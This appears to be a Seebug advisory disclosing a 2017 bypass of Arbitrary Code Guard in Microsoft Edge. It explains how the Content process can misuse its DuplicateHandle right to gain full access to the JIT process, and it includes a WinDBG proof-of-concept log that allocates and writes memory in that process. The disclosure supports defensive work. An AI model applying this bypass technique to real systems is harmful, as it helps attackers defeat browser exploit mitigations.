Microsoft Edge: ACG bypass using DuplicateHandle

2017-09-15T00:00:00
ID SSV:96506
Type seebug
Reporter Root
Modified 2017-09-15T00:00:00

Description

ACG (Arbitrary Code Guard) in Microsoft Edge is bypassable. The bypass has been tested on Microsoft Edge 40.15063.0.0 running on Windows 10 Enterprise 64-bit with Creators Update (Version 1703, OS build 15063.413)

Background:

To implement ACG (https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/#VM4y5oTSGCRde3sk.97) Edge uses a separate process for JIT compiling. The JIT process is also responsible for mapping native code into the requesting Content process. JIT Process exposes a LRPC server that is used for communication between the calling Content process and the JIT process.

In order to be able to map executable memory in the calling process, JIT process needs to have a handle of the calling process. So how does it get that handle? It is sent by the calling process as part of the ThreadContext structure. In order to send its handle to the JIT process, the calling process first needs to call DuplicateHandle on its (pseudo)handle.

The issue:

In order to call DuplicateHandle, Content process also needs to have a handle of the target process (JIT process) with the PROCESS_DUP_HANDLE access right (see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724251(v=vs.85).aspx). However, this also allows Content process to completely compromise JIT process. From https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx

"Warning A process that has some of the access rights noted here can use them to gain other access rights. For example, if process A has a handle to process B with PROCESS_DUP_HANDLE access, it can duplicate the pseudo handle for process B. This creates a handle that has maximum access to process B. For more information on pseudo handles, see GetCurrentProcess."

Debug log that demonstrate the issue:

```

Run the following command to make MicrosoftEdge.exe and MicrosoftEdgeCP.exe start under WinDBG

plmdebug.exe /enableDebug Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe "c:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe"

start microsoft-edge:http://www.google.com

Two MicrosoftEdgeCP.exe processes will be created, the first one is the JIT process and the second one is the Content process

In WinDBG corresponding to the Content process (PID: 5104 in this case)

0:000> bp chakra!ThreadContext::EnsureJITThreadContext Bp expression 'chakra!ThreadContext::EnsureJITThreadContext' could not be resolved, adding deferred bp 0:000> g

...

Breakpoint 0 hit chakra!ThreadContext::EnsureJITThreadContext: 00007ff8`1a3079a4 488bc4 mov rax,rsp

I set an additional breakpoint just before calling DupicateHandle in order to capture the JIT process handle. Note: JIT process handle is going to be stored in memory so in a real attack, attacker with arbitrary read primitive would be able to obtain it from there. But even if that wasn't the case the handle is going to have a small (that is, bruteforcable) value.

0:015> bp 00007ff81a307a4d 0:015> g Breakpoint 1 hit chakra!ThreadContext::EnsureJITThreadContext+0xa9: 00007ff81a307a4d ff1575785b00 call qword ptr [chakra!_imp_DuplicateHandle (00007ff81a8bf2c8)] ds:00007ff81a8bf2c8={KERNELBASE!DuplicateHandle (00007ff8`34408de0)} 0:015> r rax=ffffffffffffffff rbx=ffffffffffffffff rcx=ffffffffffffffff rdx=ffffffffffffffff rsi=0000000000000000 rdi=0000000000000960 rip=00007ff81a307a4d rsp=000000d2717fb9f0 rbp=000000d2717fba99 r8=0000000000000960 r9=000000d2717fba48 r10=00000fff034a85c4 r11=4444455511111111 r12=00000000000004bf r13=0000000000001210 r14=00000251fcb2aa80 r15=00000251fcb2af48

The JIT process handle is stored in r8 and has the value 0x960. Lets store it for later and continue to run the process.

0:015> g

...

After the process has been running for a while let's break and see if the handle still works

(13f0.16f0): Break instruction exception - code 80000003 (first chance) ntdll!DbgBreakPoint: 00007ff8`37d58d70 cc int 3

Let's call DuplicateHandle again, but set up the registers like this. Don't forget to also setup parameters on the stack. This corresponds to calling

DuplicateHandle(jit_server_handle, GetCurrentProcess(), GetCurrentProcess(), pointer_for_storing_return_value, 0, 0, DUPLICATE_SAME_ACCESS)

0:039> r rax=ffffffffffffffff rbx=ffffffffffffffff rcx=0000000000000960 rdx=ffffffffffffffff rsi=0000000000000000 rdi=0000000000000000 rip=00007ff81a307a4d rsp=000000d2731ffb28 rbp=0000000000000000 r8=ffffffffffffffff r9=000000d2731ffc28 r10=00000fff06fb0a64 r11=0222001000880020 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286 chakra!ThreadContext::EnsureJITThreadContext+0xa9: 00007ff81a307a4d ff1575785b00 call qword ptr [chakra!_imp_DuplicateHandle (00007ff81a8bf2c8)] ds:00007ff81a8bf2c8={KERNELBASE!DuplicateHandle (00007ff834408de0)} 0:039> p chakra!ThreadContext::EnsureJITThreadContext+0xaf: 00007ff81a307a53 85c0 test eax,eax 0:039> r rax=0000000000000001 rbx=ffffffffffffffff rcx=00007ff837d55b34 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000 rip=00007ff81a307a53 rsp=000000d2731ffb28 rbp=0000000000000000 r8=000000d2731ffad0 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz ac pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 chakra!ThreadContext::EnsureJITThreadContext+0xaf: 00007ff81a307a53 85c0 test eax,eax

You can see the call succeeded (DuplicateHandle returned 1) and if you look at the memory pointed to by the 4th argument, you'll get the returned handle (0xef4 in this case)

With this kind of access it is possible for Content process to compromise the JIT process.

Let's test out the handle

0:039> r rcx=ef4 0:039> r rip=kernelbase!getprocessid

...

0:039> r rax=00000000000010cc rbx=ffffffffffffffff rcx=00007ff837d556d4 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000 rip=00007ff834459a35 rsp=000000d2731ffac0 rbp=0000000000000000 r8=000000d2731ffab8 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 KERNELBASE!GetProcessId+0x25: 00007ff8`34459a35 4883c468 add rsp,68h

GetProcessId returned 0x10cc aka 4300 which is the correct PID of the JIT process (see the screenshot)

Let's now try to allocate memory in the JIT process. Don't forget to put the 5th argument (0x4 in this case) on the stack.

0:039> r rcx=ef4 0:039> r rdx=0 0:039> r r8=1000 0:039> r r9=3000 0:039> r rip=kernelbase!virtualallocex

...

0:039> r rax=000001b929730000 rbx=ffffffffffffffff rcx=00007ff837d556b4 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000 rip=00007ff8343fff16 rsp=000000d2731ffa88 rbp=0000000000000000 r8=000000d2731ffa40 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz ac pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!VirtualAllocEx+0x16: 00007ff8`343fff16 4883c438 add rsp,38h

It worked! We successfully allocated memory in the JIT server process on address 0x1b929730000

For the final test, let's see if we can also write memory in the JIT server process

0:039> r rcx=ef4 0:039> r rdx=000001b929730000 0:039> r r8=000000d2`731ffce0 0:039> r r9=10 0:039> r rip=kernelbase!writeprocessmemory

...

0:039> r rax=0000000000000001 rbx=ffffffffffffffff rcx=0000000000000000 rdx=000000d2731fff00 rsi=0000000000000000 rdi=0000000000000000 rip=00007ff834469af9 rsp=000000d2731ffa88 rbp=0000000000000000 r8=000000d2731ff9e8 r9=000000d2731ffa70 r10=0000000000000000 r11=000000d2731ffa70 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 KERNELBASE!WriteProcessMemory+0xb9: 00007ff8`34469af9 c3 ret

It worked! If you look at the attached screenshot (WinDBG window of the JIT process), you'll see that we successfully wrote 16 bytes to address 000001b929730000

With this kind of access it is possible for Content process to compromise the JIT process.

```